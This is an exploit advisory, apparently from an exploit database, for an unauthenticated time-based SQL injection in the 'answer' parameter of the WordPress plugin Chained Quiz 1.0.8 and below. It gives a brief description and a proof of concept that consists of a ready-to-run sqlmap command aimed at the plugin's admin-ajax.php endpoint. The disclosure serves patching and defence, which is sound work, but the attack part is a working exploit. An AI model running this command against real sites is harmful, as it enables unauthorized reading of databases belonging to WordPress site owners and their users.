WordPress Plugin Chained Quiz 1.0.8 - 'answer' SQL Injection

# Exploit Title: WordPress Plugin Chained Quiz 1.0.8 - 'answer' SQL Injection
# Exploit Author: Çlirim Emini
# Website: https://www.sentry.co.com
# Software Link: https://wordpress.org/plugins/chained-quiz/
# Version/s: 1.0.8 and below
# Patched Version: 1.0.9
# CVE : N/A
# WPVULNDB: https://wpvulndb.com/vulnerabilities/9112

# Vulnerability Description:
# WordPress Plugin Plugin Chained Quiz before 1.0.9 allows remote unauthenticated 
# users to execute arbitrary SQL commands via the 'answer' and 'answers' parameters.

# Technical details:
# Chained Quiz appears to be vulnerable to time-based SQL-Injection.
# The issue lies on the $answer backend variable.
# Privileges required: None

# Proof of Concept (PoC):

sqlmap -u "http://target/wp-admin/admin-ajax.php" --data="answer=1*&question_id=1&quiz_id=1&post_id=1&question_type=radio&points=0&action=chainedquiz_ajax&chainedquiz_action=answer&total_questions=1" --dbms=MySQL --technique T